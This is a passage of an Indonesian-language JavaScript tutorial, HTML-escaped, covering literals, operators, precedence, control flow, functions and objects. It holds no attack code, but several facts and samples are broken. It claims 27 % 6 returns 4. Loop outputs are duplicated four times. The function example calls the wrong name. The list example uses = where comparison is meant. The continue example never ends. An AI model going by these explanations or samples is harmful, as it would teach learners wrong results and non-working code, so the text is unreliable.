( ' ) atau petik ganda ( " ). Tanda petik awal dan akhir harus sama, seperti contoh berikut:&lt;br /&gt;&lt;br /&gt;    "suatu literal dengan petik ganda" 'suatu literal dengan petik tunggal'&lt;br /&gt;&lt;br /&gt;TIP&lt;br /&gt;&lt;br /&gt;    Ketika anda menulis event handle, apit string dengan petik tunggal, karena petik ganda dibatasi untuk nilai atribut pada HTML&lt;br /&gt;&lt;br /&gt;    Contoh :&lt;br /&gt;&lt;br /&gt;    &lt;FORM&gt; &lt;INPUT TYPE=BUTTON VALUE="Coba Klik" onClick="alert('Hello world')"&gt; &lt;/FORM&gt;&lt;br /&gt;&lt;br /&gt;Literal string dapat juga mengandung karakter khusus untuk kendali baris Table 2 adalah daftar dari karakter khusus dan fungsi-fungsinya.&lt;br /&gt;&lt;br /&gt;Table 2. Karakter khusus JavaScript.&lt;br /&gt;Keterangan 	Spesial Karakter&lt;br /&gt;Backspace 	\b&lt;br /&gt;Form feed 	\f&lt;br /&gt;Newline 	\n&lt;br /&gt;Carriage return 	\r&lt;br /&gt;Tab 	\t&lt;br /&gt;&lt;br /&gt;Tanda backslash (\) adalah karakter escape pada JavaScript. Ketika digunakan pada akhir dari suatu baris, akan berfungsi sebagai character penyambung baris. Ketika diikuti oleh karakter lain, karakter escape tersebut akan kehilangan fungsi khususnya. Dalam JavaScript, programmer menggunakan backslash untuk escape backslash lainnya, suatu petik tunggal, dan suatu petik ganda.&lt;br /&gt;Ekspresi dan Operator&lt;br /&gt;&lt;br /&gt;Literal dan variabel dihubungkan oleh operator dan akan menghasilkan ekspresi. JavaScript menyediakan berbagai operator yang memungkinkan programmer menulis sejumlah ekspresi dari yang paling sederhana sampai yang paling sulit.&lt;br /&gt;&lt;br /&gt;Contoh :&lt;br /&gt;&lt;br /&gt;    temp = 24&lt;br /&gt;&lt;br /&gt;pada contoh diatas, temp adalah variabel, 24 adalah variabel, = adalah operator, dan  temp=24 adalah ekspresi.&lt;br /&gt;&lt;br /&gt;Operator JavaScript dapat dibagi menjadi beberapa kategori berikut:&lt;br /&gt;&lt;br /&gt;    Assignment operator&lt;br /&gt;    Arithmetic operator&lt;br /&gt;    Bitwise operator&lt;br /&gt;    Logical operator&lt;br /&gt;    Comparison operator&lt;br /&gt;    String operator&lt;br /&gt;&lt;br /&gt;JavaScript memiliki operator binari maupun unari. Suatu operator binari memiliki format.&lt;br /&gt;&lt;br /&gt;    operand1 operator operand2&lt;br /&gt;&lt;br /&gt;Sebagai contoh , 9 * 7 atau temp = 24 adalah ekspresi dengan operator binari.&lt;br /&gt;&lt;br /&gt;Operator unari memiliki dua format:&lt;br /&gt;&lt;br /&gt;    operand operator&lt;br /&gt;&lt;br /&gt;atau&lt;br /&gt;&lt;br /&gt;    operator operand&lt;br /&gt;&lt;br /&gt;Sebagai contoh ekspresi mengunakan operator unari adalah ++y atau y++.&lt;br /&gt;&lt;br /&gt;Catatan&lt;br /&gt;&lt;br /&gt;    Bagi programmer C language, tentu saja operator unari bukan sesuatu yang asing, tetapi bagi programmer dari latarbelakang Basic dan Pascal, penulisan y++ adalah sama dengan y = y + 1.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Assignment Operator&lt;br /&gt;&lt;br /&gt;Operator pemberi nilai (=) adalah suatu operator binari yang digunakan untuk memberi nilai ke operand di sisi kiri (biasanya berupa suatu variabel) yang didasarkan pada nilai operand sebelah kanan (seperti NamaDepan = "Hendra" atau x = y * 9).  Table 3 adalah daftar singkat operator pemberi nilai.&lt;br /&gt;&lt;br /&gt;Table 3. Daftar Operator assignment&lt;br /&gt;Shorthand operator 	Artinya 	Contoh&lt;br /&gt;x += y 	x = x + Y 	x +=&lt;br /&gt;x -= y 	x = x - y 	x -=&lt;br /&gt;x *= y 	x = x * y 	x *=&lt;br /&gt;x /= y 	x = x / y 	x /=&lt;br /&gt;x %= y 	x = x % y 	x %=&lt;br /&gt;x &lt;&lt;= y 	x = x &lt;&lt; y 	x &lt;&lt;=&lt;br /&gt;x &gt;&gt;= y 	x = x &gt;&gt; y 	x &gt;&gt;=&lt;br /&gt;x &gt;&gt;&gt;= y 	x = x &gt;&gt;&gt; y 	x &gt;&gt;&gt;=&lt;br /&gt;x &amp;= y 	x = x &amp; y 	x &amp;= 0xC0&lt;br /&gt;x |= y 	x = x | y 	x |= 0x0F&lt;br /&gt;x ^= y 	x = x ^ y 	x ^= 0XFF&lt;br /&gt;Catatan&lt;br /&gt;&lt;br /&gt;    Bagi yang tidak familiar dengan pemrograman C, hati-hati dengan perbedaan antara assignment operator (=) dan comparison operator (==)&lt;br /&gt;&lt;br /&gt;Arithmetic Operator&lt;br /&gt;&lt;br /&gt;Sesuai dengan fungsinya operator aritmatika melakukan operasi perhitungan aritmatika terhadap suatu nilai numerik baik dalam literal maupun variabel. JavaScript mendukung operator standard aritmatika untuk penjumlahan (+), pengurangan (-), perkalian (*), dan pembagian (/). Juga memiliki operator modulus (%), increment (++), decrement (--), dan unary negation (-).&lt;br /&gt;&lt;br /&gt;Operator modulus (%) adalah suatu operator binary yang mengembalikan nilai sisa dari suatu pembagian bulat operand1 terhadap operand2. Sebagai contoh, hasil dari  27 % 6 adalah  4.&lt;br /&gt;&lt;br /&gt;Operator increment unary adalah menambah nilai satu ke variabel operand, sedangkan operator decrement unary mengurangi satu dari padanya. Bagaimanapun, nilai yang dikembalikan tergantung dari posisi operator terhadap operand Jika operator berada didepan (++x atau --x), nilai yang dikembalikan adalah  x+1 atau x-1. Ketika operator dibelakang(x++ or x--), nilai x dikembalikan sebelum ditambah atau dikurang.&lt;br /&gt;&lt;br /&gt;Operator khusus unari arithmetic adalah operator unari negation operator. Ia membalikan tanda dari nilai yang diberikan pada suatu variabel.  Sebagai contoh, jika x = -7, -x mengubah nilai menjadi 7.&lt;br /&gt;Bitwise Operator&lt;br /&gt;&lt;br /&gt;Untuk programmer yang perlu menangani bit. JavaScript menyediakan satu set dari operator bitwise. Untuk operator ini, JavaScript melakukan konversi terhadap operand menjadi integer 32-bit sebelum melakukan operasi padanya. Operator logika bitwise adalah&lt;br /&gt;&lt;br /&gt;    Bitwise AND (&amp;), akan mengembalikan nilai dari logika  AND antara sepasang bit. Sebagai contoh , 0x0f &amp; 0x0a mengembalikan 0x0a.&lt;br /&gt;    Bitwise OR (|), akan mengembalikan nilai dari logika OR antara setiap pasangan dari bit. Sebagai contoh, 0x05 | 0x0a mengembalikan 0x0f.&lt;br /&gt;    Bitwise XOR (^), akan mengembalikan nilai dari logika exclusive OR between antara tiap pasangan bit. Sebagai contoh, 0x0f ^ 0x0a mengembalikan 0x05.&lt;br /&gt;&lt;br /&gt;JavaScript juga menyediakan satu set bitwise untuk operasi shift operand1 terhadap jumlah yang ditentukan di operand2. Operand ini adalah&lt;br /&gt;&lt;br /&gt;    Shift left (&lt;&lt;), akan mengeser bit ke kiri dengan jumlah tertentu. Bit yang melewati batas kiri akan diabaikan, dan suatu bit nol akan digeser dari kanan. Sebagai contoh, 0x0f &lt;&lt; 2 mengembalikan 0x3c.&lt;br /&gt;    Sign propagating shift right (&gt;&gt;) mempertahankan bit tanda dari nilai ketika melakukan geser ke kanan sesuai dengan jumlah yang ditentukan. Bit yang tergeser melewati bata kanan akan diabaikan, kecuali bit tanda, bit nol akan digeser dari kiri.. Sebagai contoh, 10 &gt;&gt; 2 mengembalikan 2 dan -10 &gt;&gt; 2 mengembalikan -2.&lt;br /&gt;    Zero-fill right shift (&gt;&gt;&gt;) sama seperti &gt;&gt;, cuma tidak mempertahankan bit tanda ketika dilakukan pergeseran sesuai dengan jumlah yang ditentukan.&lt;br /&gt;&lt;br /&gt;Logical Operator&lt;br /&gt;&lt;br /&gt;Operator logika membutuhkan operand dengan nilai Boolean (true atau false) dan mereka akan mengembalikan suatu nilai logika. Operator logika adalah sebagai berikut :&lt;br /&gt;&lt;br /&gt;    Logical AND (&amp;&amp;)&lt;br /&gt;    Logical OR (||)&lt;br /&gt;    Logical NOT (!)&lt;br /&gt;&lt;br /&gt;Operator logika NOT adalah suatu unary operator yang mempertahankan nilai ekspresi.&lt;br /&gt;Comparison Operator&lt;br /&gt;&lt;br /&gt;Operator perbandingan diterapkan pada perbandingan pada data numerik dan data string serta tidak dapat dilakukan pada nilai Boolean. Masing-masing operand harus memiliki tipe yang sama: nemerik dibandingkan dengan numerik atau string dengan string. Hasil dari perbandingan adalah sautu nilai Boolean. Operator perbandingan adalah:&lt;br /&gt;&lt;br /&gt;    Equal (==)&lt;br /&gt;    Not equal (!=)&lt;br /&gt;    Greater than (&gt;)&lt;br /&gt;    Greater than or equal to (&gt;=)&lt;br /&gt;    Less than (&lt;)&lt;br /&gt;    Less than or equal to (&lt;=)&lt;br /&gt;&lt;br /&gt;JavaScript juga mendukung ekspresi secara kondisi (conditional expression) yang mana berbentuk.&lt;br /&gt;&lt;br /&gt;    (kondisi) ? nilai_benar : nilai_salah&lt;br /&gt;&lt;br /&gt;Jika kondisi adalah benar, ekspresi memiliki dari true_value. Sebaliknya memiliki nilai dari false_value. Seperti saudaranya yang berbasis bahasa C, ekpresi kondisi adalah ekspresi standard dan dapat digunakan dimana saja, dan dapat dilihat sebagai berikut :&lt;br /&gt;&lt;br /&gt;    status_baterai = (voltase &gt; 1.3) ? "baik" : "buruk"&lt;br /&gt;&lt;br /&gt;    Catatan&lt;br /&gt;&lt;br /&gt;        Bagi programmer C language, tentu saja comparison operator (==)  bukan sesuatu yang asing, tetapi bagi programmer dari latarbelakang Basic dan Pascal, penulisan = adalah tidak sama dengan ==.&lt;br /&gt;&lt;br /&gt;     &lt;br /&gt;&lt;br /&gt;String Operator&lt;br /&gt;&lt;br /&gt;Operator string (+) mengabung dua nilai string dan mengembalikan satu string dimana merupakan hasil gabungan dari keduanya. Sebagai contoh :&lt;br /&gt;&lt;br /&gt;    "Java" + "Script"&lt;br /&gt;&lt;br /&gt;Menghasilkan&lt;br /&gt;&lt;br /&gt;    "JavaScript"&lt;br /&gt;&lt;br /&gt;Operator shorthand += mengabung string kiri dengan string dikanan operand dan memberikan nilai baru pada operand disebelah kiri.&lt;br /&gt;Urutan operasi&lt;br /&gt;&lt;br /&gt;Dalam ekspresi yang kompleks dimana melibatkan lebih dari satu operator, urutan operasi dari operator menentukan nilai hasil evaluasi. Dengan menggunakan tanda kurung, programmer dapat mengatur aturan tersebut. Table .4 adalah urutan prioritas operasi dari yang paling rendah sampai yang paling tinggi.&lt;br /&gt;&lt;br /&gt;Table 4. Prioritas urutan operasi dari prioritas rendah sampai tinggi.&lt;br /&gt;Keterangan 	Operator&lt;br /&gt;Assignment 	= += -= *= /= %= &lt;&lt;= &gt;&gt;= &gt;&gt;&gt;= &amp;= ^= |=&lt;br /&gt;Conditional 	?:&lt;br /&gt;Logical OR 	||&lt;br /&gt;Logical AND 	&amp;&amp;&lt;br /&gt;Bitwise OR 	|&lt;br /&gt;Bitwise XOR 	^&lt;br /&gt;Bitwise AND 	&amp;&lt;br /&gt;Equality 	== !=&lt;br /&gt;Relational 	&lt; &lt;= &gt; &gt;=&lt;br /&gt;Bitwise shift 	&lt;&lt; &gt;&gt; &gt;&gt;&gt;&lt;br /&gt;Addition/subtraction 	+ -&lt;br /&gt;Multiply/divide 	* / %&lt;br /&gt;Negation/increment 	! ~ - ++ -&lt;br /&gt;Call, member 	() []&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Struktur Kendali dan Fungsi&lt;br /&gt;&lt;br /&gt;Untuk membuat suatu halaman yang dinamis dan interaktif, perancang halaman Web membutuhkan perintah-perintah yang dapat mengatur aliran dari informasi. Berdasarkan hasil komputasi yang telah dilakukan, JavaScript akan membuat keputusan jalur mana yang akan dieksekusi. Kita akan membahas tentang perintah kondisi dan loop dalam JavaScript.&lt;br /&gt;&lt;br /&gt;Walaupun semua kode harus ditulis dalam penanganan event, tetapi hal ini adalah praktek pemrograman yang kurang baik. Sebagai pengantinya, gunakan fungsi, kode akan menjadi lebih modular dan dapat digunakan kembali (reusable).&lt;br /&gt;Perintah kondisi&lt;br /&gt;&lt;br /&gt;Sebagai tambahan terhadap ekspresi kondisi yang telah dijelaskan bagian sebelumnya. JavaScript memiliki suatu perintah kondisi if. Tata cara penulisan dari perintah kondisi tersebut adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    if (kondisi1) { pernyataan1 } [else { pernyataan2}]&lt;br /&gt;&lt;br /&gt;kondisi adalah ekspresi JavaScript yang mana hasil evaluasinya memiliki nilai Boolean true atau false. contoh pemakaian statement if:&lt;br /&gt;&lt;br /&gt;    if (n&gt;3) { status = true if (j != n) j = 0 } else j = n&lt;br /&gt;&lt;br /&gt;Perhatian&lt;br /&gt;&lt;br /&gt;    Bagi programmer C harus berhati-hati dengan evaluasi kondisi pada JavaScript. Suatu kondisi numerik yang mengasilkan nol adalah tidak sama dengan suatu Boolean true pada JavaScript, dan sebaliknya suatu nilai bukan nol tidak sema dengan Boolean false. Pada JavaScript hasil dari suatu kondisi harus data type Boolean.&lt;br /&gt;&lt;br /&gt;Jika hanya suatu perintah tunggal, tanda kurawal tidak diperlukan. Contoh berikut adalah perintah yang benar:&lt;br /&gt;&lt;br /&gt;    if (a==b) j=0 else j=1&lt;br /&gt;&lt;br /&gt;Perintah Perulangan&lt;br /&gt;&lt;br /&gt;JavaScript mendukung dua struktur loop; perintah for dan perintah while. Untuk control pada struktur loop, JavaScript menyediakan perintah break dan continue.&lt;br /&gt;Perintah for&lt;br /&gt;&lt;br /&gt;Perintah for pada JavaScript sama dengan yang ada di Java dan C. Perintah for mengulang suatu loop sampai kondisi menghasilkan evaluasi true atau loop keluar dengan perintah break . Syntax untuk perintah for adalah sebagai berikut :&lt;br /&gt;&lt;br /&gt;    for ([ekspresi-awal;] [kondisi;] [ekspresi-penambah]) { pernyataan }&lt;br /&gt;&lt;br /&gt;Urutan proses untuk perintah for adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    Interpreter menjalankan ekspresi-awal. Ekspresi ini mementukan nilai yang diperlukan untuk kendali perulangan.&lt;br /&gt;    Kemudian interpreter memeriksa kondisi. Jika true, kendali dilanjutkan ke langkah selanjutnya. Jika false, kendali diarahkan ke perintah setelah perulangan.&lt;br /&gt;    Kemudian interpreter menjalankan ekspresi-penambah, yang mana melakukan update terhadap variabel-variabel yang digunakan untuk kendali perulangan.&lt;br /&gt;    Kemudian statement dijalankan dan, jika ditemukan suatu break atau continue, kendali kembali ke langkah 2.&lt;br /&gt;&lt;br /&gt;    Contoh : &lt;HTML&gt; &lt;HEAD&gt; &lt;SCRIPT LANGUAGE="JavaScript"&gt; &lt;!-- menyembunyikan script dan browser non-JS for (i=1; i&lt;=10; i++) { sq=i*i document.write("number: " + i + " square: " + sq + "&lt;BR&gt;") } // akhir dari penyembunyian --&gt; &lt;/SCRIPT&gt; &lt;/HEAD&gt; &lt;BODY&gt; &lt;/BODY&gt; &lt;/HTML&gt;&lt;br /&gt;&lt;br /&gt;    Hasil :&lt;br /&gt;    number: 1 square: 1&lt;br /&gt;    number: 2 square: 4&lt;br /&gt;    number: 3 square: 9&lt;br /&gt;    number: 4 square: 16&lt;br /&gt;    number: 5 square: 25&lt;br /&gt;    number: 6 square: 36&lt;br /&gt;    number: 7 square: 49&lt;br /&gt;    number: 8 square: 64&lt;br /&gt;    number: 9 square: 81&lt;br /&gt;    number: 10 square: 100&lt;br /&gt;    number: 1 square: 1&lt;br /&gt;    number: 2 square: 4&lt;br /&gt;    number: 3 square: 9&lt;br /&gt;    number: 4 square: 16&lt;br /&gt;    number: 5 square: 25&lt;br /&gt;    number: 6 square: 36&lt;br /&gt;    number: 7 square: 49&lt;br /&gt;    number: 8 square: 64&lt;br /&gt;    number: 9 square: 81&lt;br /&gt;    number: 10 square: 100&lt;br /&gt;    number: 1 square: 1&lt;br /&gt;    number: 2 square: 4&lt;br /&gt;    number: 3 square: 9&lt;br /&gt;    number: 4 square: 16&lt;br /&gt;    number: 5 square: 25&lt;br /&gt;    number: 6 square: 36&lt;br /&gt;    number: 7 square: 49&lt;br /&gt;    number: 8 square: 64&lt;br /&gt;    number: 9 square: 81&lt;br /&gt;    number: 10 square: 100&lt;br /&gt;    number: 1 square: 1&lt;br /&gt;    number: 2 square: 4&lt;br /&gt;    number: 3 square: 9&lt;br /&gt;    number: 4 square: 16&lt;br /&gt;    number: 5 square: 25&lt;br /&gt;    number: 6 square: 36&lt;br /&gt;    number: 7 square: 49&lt;br /&gt;    number: 8 square: 64&lt;br /&gt;    number: 9 square: 81&lt;br /&gt;    number: 10 square: 100&lt;br /&gt;&lt;br /&gt;     &lt;br /&gt;&lt;br /&gt;Perintah while&lt;br /&gt;&lt;br /&gt;Perintah while terus mengulangi loop selama kondisi memiliki nilai true. Syntax untuk perintah while adalah sebagai berikut :&lt;br /&gt;&lt;br /&gt;    while (kondisi) { pernyataan }&lt;br /&gt;&lt;br /&gt;Test kondisi terjadi pada perulangan while yang pertama kali dan pada akhir dari setiap loop. Ketika hasil test mengembalikan false, kendali dilewatkan ke perintah berikutnya setelah loop. Perintah for yang diubah ke suatu while loop.&lt;br /&gt;&lt;br /&gt;    Contoh:&lt;br /&gt;&lt;br /&gt;    &lt;HTML&gt; &lt;HEAD&gt; &lt;SCRIPT LANGUAGE="JavaScript"&gt; &lt;!-- menyembunyikan script i=1 while (i&lt;=10) { sq=i*i document.write("number: " + i + "square: " + sq + "&lt;BR&gt;") i++ } // end script hiding --&gt; &lt;/SCRIPT&gt; &lt;/HEAD&gt; &lt;BODY&gt; &lt;/BODY&gt; &lt;/HTML&gt;&lt;br /&gt;&lt;br /&gt;    Hasil:&lt;br /&gt;&lt;br /&gt;    number: 1 square: 1&lt;br /&gt;    number: 2 square: 4&lt;br /&gt;    number: 3 square: 9&lt;br /&gt;    number: 4 square: 16&lt;br /&gt;    number: 5 square: 25&lt;br /&gt;    number: 6 square: 36&lt;br /&gt;    number: 7 square: 49&lt;br /&gt;    number: 8 square: 64&lt;br /&gt;    number: 9 square: 81&lt;br /&gt;    number: 10 square: 100&lt;br /&gt;    number: 1 square: 1&lt;br /&gt;    number: 2 square: 4&lt;br /&gt;    number: 3 square: 9&lt;br /&gt;    number: 4 square: 16&lt;br /&gt;    number: 5 square: 25&lt;br /&gt;    number: 6 square: 36&lt;br /&gt;    number: 7 square: 49&lt;br /&gt;    number: 8 square: 64&lt;br /&gt;    number: 9 square: 81&lt;br /&gt;    number: 10 square: 100&lt;br /&gt;    number: 1 square: 1&lt;br /&gt;    number: 2 square: 4&lt;br /&gt;    number: 3 square: 9&lt;br /&gt;    number: 4 square: 16&lt;br /&gt;    number: 5 square: 25&lt;br /&gt;    number: 6 square: 36&lt;br /&gt;    number: 7 square: 49&lt;br /&gt;    number: 8 square: 64&lt;br /&gt;    number: 9 square: 81&lt;br /&gt;    number: 10 square: 100&lt;br /&gt;    number: 1 square: 1&lt;br /&gt;    number: 2 square: 4&lt;br /&gt;    number: 3 square: 9&lt;br /&gt;    number: 4 square: 16&lt;br /&gt;    number: 5 square: 25&lt;br /&gt;    number: 6 square: 36&lt;br /&gt;    number: 7 square: 49&lt;br /&gt;    number: 8 square: 64&lt;br /&gt;    number: 9 square: 81&lt;br /&gt;    number: 10 square: 100&lt;br /&gt;&lt;br /&gt;Perintah break&lt;br /&gt;&lt;br /&gt;Perintah break menghentikan for atau while loop dan mengembalikan kendali ke perintah berikutnya yang mengikuti loop. Contoh berikut menggambarkan bagaimana menggunakan perintah break:&lt;br /&gt;&lt;br /&gt;    i=0 while (i&lt;10) { if (i==3) break i++ }&lt;br /&gt;&lt;br /&gt;Perintah continue&lt;br /&gt;&lt;br /&gt;Seperti perintah break, perintah continue menghentikan interasi tersebut untuk suatu for atau while loop; Tetapi tidak keluar dari loop; Tetapi melakukan interasi berikutnya.&lt;br /&gt;&lt;br /&gt;    Pada suatu while loop, kendali dilewatkan ke condition.&lt;br /&gt;    Pada suatu for loop, dilewatkan ke increment-expression.&lt;br /&gt;&lt;br /&gt;Berikut ini memperlihatkan bagaimana menggunakan perintah continue:&lt;br /&gt;&lt;br /&gt;    i=0 while (i&lt;10) { if (i==3) continue i++ }&lt;br /&gt;&lt;br /&gt;Perintah function&lt;br /&gt;&lt;br /&gt;Suatu function adalah sekumpulan dari perintah JavaScript yang akan mengerjakan tugas tertentu. Fungsi ini dapat dipanggil dari segala titik pada dokumen tersebut dan dipanggil dari event. Format dari perintah function adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    function FunctionName(argument list) { statements }&lt;br /&gt;&lt;br /&gt;    Contoh:&lt;br /&gt;&lt;br /&gt;    &lt;HTML&gt; &lt;HEAD&gt; &lt;SCRIPT LANGUAGE="JavaScript" &lt;!-- hide the script function DisplayIt(LineToDisplay) { document.write(LineToDisplay + "&lt;BR&gt;") } // end hiding --&gt; &lt;/SCRIPT&gt; &lt;/HEAD&gt; &lt;BODY&gt; &lt;SCRIPT LANGUAGE="JavaScript" &lt;!-- hide it LineToDisplay("Hello World") // end hiding --&gt; &lt;/SCRIPT&gt; &lt;/BODY&gt; &lt;/HTML&gt;&lt;br /&gt;&lt;br /&gt;TIP&lt;br /&gt;&lt;br /&gt;    Karena browser membaca perintah tersebut diapit oleh &lt;HEAD&gt;...&lt;/HEAD&gt; duluan; adalah praktek yang baik untuk memesan semua variabel global dan semua fungsi pada HEAD dari dokumen. Hal ini mencegah kesalahan seperti  non-initialized variables dan undefined functions&lt;br /&gt;&lt;br /&gt;Argumen dari suatu fungsi dapat berupa sembarang tipe data atau objek JavaScript. Objek array functionName.argument[i] dan functionName.arguments.length mengandung nilai jumlah argumen yang dikirim ke fungsi, argumen acuan dengan mendeklarasikan nama-nama variabel. Hal ini memungkinkan sejumlah argumen dilewatkan ke fungsi sebagai suatu argument array. Contoh berikut menunjukkan pemakaian dari suatu variable argument list.&lt;br /&gt;&lt;br /&gt;    Contoh :&lt;br /&gt;&lt;br /&gt;    &lt;HTML&gt; &lt;HEAD&gt; &lt;SCRIPT LANGUAGE="JavaScript"&gt; &lt;!-- menyembunyikan UnorderList="UL" function DisplayList(ListType) { // menampilkan variabel list if (ListType="OL" || ListType="UL") { // validasi jenis list document.write("&lt;" + ListType + "&gt;" // menampilkan jenis list for (var i=1; i&lt;DisplayList.arguments.length; i++) document.write("LI" + DisplayList.arguments[i]) document.write("&lt;/" + ListType + "&gt;") // End list return true } else return false } // akhir dari penyembunyian --&gt; &lt;/SCRIPT&gt; &lt;/HEAD&gt; &lt;BODY&gt; &lt;SCRIPT LANGUAGE="JavaScript" &lt;!-- menyembunyikan if (DisplayList(UnorderList, "Bullet 1 text", "Bullet 2 text")) document.write("&lt;P&gt;List Display&lt;/P&gt;") else document.write("&lt;P&gt;Invalid List Type&lt;p&gt;") // unhide it --&gt; &lt;/SCRIPT&gt; &lt;/BODY&gt; &lt;/HTML&gt;&lt;br /&gt;&lt;br /&gt;Contoh diatas menggambarkan beberapa hal yang penting dari suatu fungsi. Suatu variabel global diinisialisasi pada bagian &lt;HEAD&gt;. Perintah var mendeklarasikan i sebagai suatu variabel lokal pada fungsi. Juga ditunjukkan bagaimana perintah return dapat digunakan untuk memastikan fungsi dijalankan dengan baik. Perintah return juga dapat mengembalikan string atau nilai numerik, sebagaimana yang ditunjukkan oleh contoh  dibawah ini:&lt;br /&gt;&lt;br /&gt;    function RetExam(a, b) { var x=0 x = a+b return x } TestResult=RetExam(5, 7)&lt;br /&gt;&lt;br /&gt;Komentar&lt;br /&gt;&lt;br /&gt;JavaScript mendukung dua bentuk format untuk komentar:&lt;br /&gt;&lt;br /&gt;    Komentar satu baris yang diawali dengan suatu double slash (//)&lt;br /&gt;    Komentar banyak baris yang diawali dengan suatu /* dan diakhiri dengan suatu */&lt;br /&gt;&lt;br /&gt;Komentar single-line, dari C++, memperlakukan semua yang dari double slash ke belakang sebagai suatu komentar, berikut ini adalah contoh yang sah untuk suatu komentar single-line :&lt;br /&gt;&lt;br /&gt;    // ini adalah komentar if (a=b) c=1 // ini juga adalah komentar&lt;br /&gt;&lt;br /&gt;Komentar banyak baris mengikuti aturan pada C dan dapat digunakan untuk menandai perintah JavaScript, sebagaimana yang ditunjukkan oleh contoh sebelumnya, adalah sutu komentar HTML, baris terakhir membutuhkan dua slash untuk menjaga JavaScript dapat menginterprestasikan baris tersebut.&lt;br /&gt;Dasar dari Objek&lt;br /&gt;&lt;br /&gt;JavaScript adalah suatu bahasa berdasarkan pada objek dan bukan merupakan bahasa object-oriented programming (OOP). Perancang JavaScript tidak bertujuan membuat suatu bahasa OOP yang baru; tetapi bertujuan membuat suatu bahasa script untuk  mengintegrasikan objek yang telah dibuat dengan suatu bahasa OOP kedalam dokumen HTML. Selanjutnya Javascript tidak memiliki encapsulation , inheritance, dan abstraction seperti pada C atau Java.&lt;br /&gt;&lt;br /&gt;Tetapi class pada JavaScript menyediakan properti dan metode untuk membuat objek.&lt;br /&gt;Objek dan Properti&lt;br /&gt;&lt;br /&gt;Berikut ini adalah notasi yang digunakan oleh JavaScript untuk menggambarkan suatu objek dan propertinya:&lt;br /&gt;&lt;br /&gt;    ObjekName.PropertyName&lt;br /&gt;&lt;br /&gt;Sebagai contoh, objek mydog memiliki properti sebagai berikut :&lt;br /&gt;&lt;br /&gt;    mydog.breed="small mut" mydog.age=5 mydog.weight=25&lt;br /&gt;&lt;br /&gt;Objek juga dapat menggunakan acuan array dengan menggunakan nama propertinya sebagai index:&lt;br /&gt;&lt;br /&gt;    mydog["breed"]="small mut" mydog["age"]=5 mydog["weight"]=25&lt;br /&gt;&lt;br /&gt;Juga dapat mengunakan acuan array dengan index secara numerik:&lt;br /&gt;&lt;br /&gt;    mydog[0]="small mut" mydog[1]=5 mydog[2]=25&lt;br /&gt;&lt;br /&gt;Defining Metodes&lt;br /&gt;&lt;br /&gt;Suatu fungsi yang berasosiasikan  objek acuan adalah  metode. format berikut meng-asosiasikan fungsi dengan suatu objek:&lt;br /&gt;&lt;br /&gt;    ObjekName.MetodeName = function_name&lt;br /&gt;&lt;br /&gt;Kemudian metode tersebut berkerja dengan suatu objek:&lt;br /&gt;&lt;br /&gt;    ObjekName.MetodeName(parameters);&lt;br /&gt;&lt;br /&gt;Bekerja dengan Objek&lt;br /&gt;&lt;br /&gt;Untuk melakukan manipulasi pada objek membutuhkan fasilitas tambahan dari JavaScript yaitu dengan perintah for...in , perintah with , operator new, dan kata kunci  this.&lt;br /&gt;Perintah for...in&lt;br /&gt;&lt;br /&gt;Perintah  for...in menyediakan suatu mekanisme perulangan untuk iterasi melalui semua properti dari suatu objek. Dengan format adalah sebagai berikut :&lt;br /&gt;&lt;br /&gt;    for (variable in Objekname) { statements }&lt;br /&gt;&lt;br /&gt;Contoh berikut mengunakan perintah ini untuk menampilkan semua properti dalam suatu objek dan nilai asosiasinya:&lt;br /&gt;&lt;br /&gt;    function ListProperti(obj, obj_name) { var result = "" for (var i in obj) { result += obj_name + "." + i " = " + obj[i] + "&lt;BR&gt;" } return result PropList = ListProperti(mydog, "mydog")&lt;br /&gt;&lt;br /&gt;Pada contoh sebelumnya, variabel i adalah nama dari property, kemudian mengindeks objek dengan menggunakan property name_obj[i].&lt;br /&gt;Perintah  with&lt;br /&gt;&lt;br /&gt;Pada beberapa situasi suatu objek perlu dibuat acuan beberapa kali. Perintah with membuat acuan ke suatu objek default yang berada dalam kurung. Tata cara penulisannya adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    with (ObjekName) { statements i&lt;br /&gt;&lt;br /&gt;Objek math berikut merupakan contoh pemakaian dari perintah with:&lt;br /&gt;&lt;br /&gt;    var r = var x = with (Math) { r = p / (1 - cos(a)) x = (2 * p * cos(a)) / (sin(a) * sin(a)) }&lt;br /&gt;&lt;br /&gt;Operand new&lt;br /&gt;&lt;br /&gt;Untuk suatu  tipe objek user-defined, operand new berfungsi membuat suatu instance baru dari objek. Tata cara penulisannya adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    ObjekName = new ObjekType(param1 [, param2,] � [, paramN])&lt;br /&gt;&lt;br /&gt;Kata kunci this&lt;br /&gt;&lt;br /&gt;this mengacu pada objek yang sekarang. Pada bagian selanjutnya akan ditunjukkan bagaimana pemakaian kata kunci ini dalam penulisan function dan metode.&lt;br /&gt;Membuat Objek baru&lt;br /&gt;&lt;br /&gt;Walaupun JavaScript memiliki sejumlah besar  objek yang telah didefinisikan, developer dapat membuat  objeknya sendiri. Untuk membuat suatu objek baru diperlukan dua langkah yaitu:&lt;br /&gt;&lt;br /&gt;    Mendefinisikan jenis objek dengan membuat suatu fungsi.&lt;br /&gt;    Membuat instances dari objek tersebut dengan menggunakan operand new.&lt;br /&gt;&lt;br /&gt;Fungsi tersebut mendefinisikan jenis objek, properti, dan metode. Sebagai contoh untuk membuat suatu objek dog:&lt;br /&gt;&lt;br /&gt;    function dog(breed, age, weight) { this.breed = breed; this.age = age; this.weight = weight; }&lt;br /&gt;&lt;br /&gt;Untuk menggunakan fungsi diatas, operand new diperlukan untuk mendefinisikan suatu instance baru untuk objek tersebut. Sebagai contoh:&lt;br /&gt;&lt;br /&gt;    mydog = new dog("small mut", 5, 25);&lt;br /&gt;&lt;br /&gt;Selain type data yang umum (string, numeric, and Boolean), objek yang lain dapat juga menjadi properti dari suatu objek. Contoh menambah suatu nomor izin pada objek jenis dog, nomor izib ini juga mengacu pada objek lain.&lt;br /&gt;&lt;br /&gt;    function doglicense(owner, phone_number) { this.owner = owner; this.phone_number = phone.number; } AZ123 = new doglicense("John Smith", "999-9999");&lt;br /&gt;&lt;br /&gt;Jenis Objek dog perlu dimodifikasi untuk mengikutsertakan informasi baru tersebut:&lt;br /&gt;&lt;br /&gt;    function dog(breed, age, weight, license) { this.breed = breed; this.age = age; this.weight = weight; 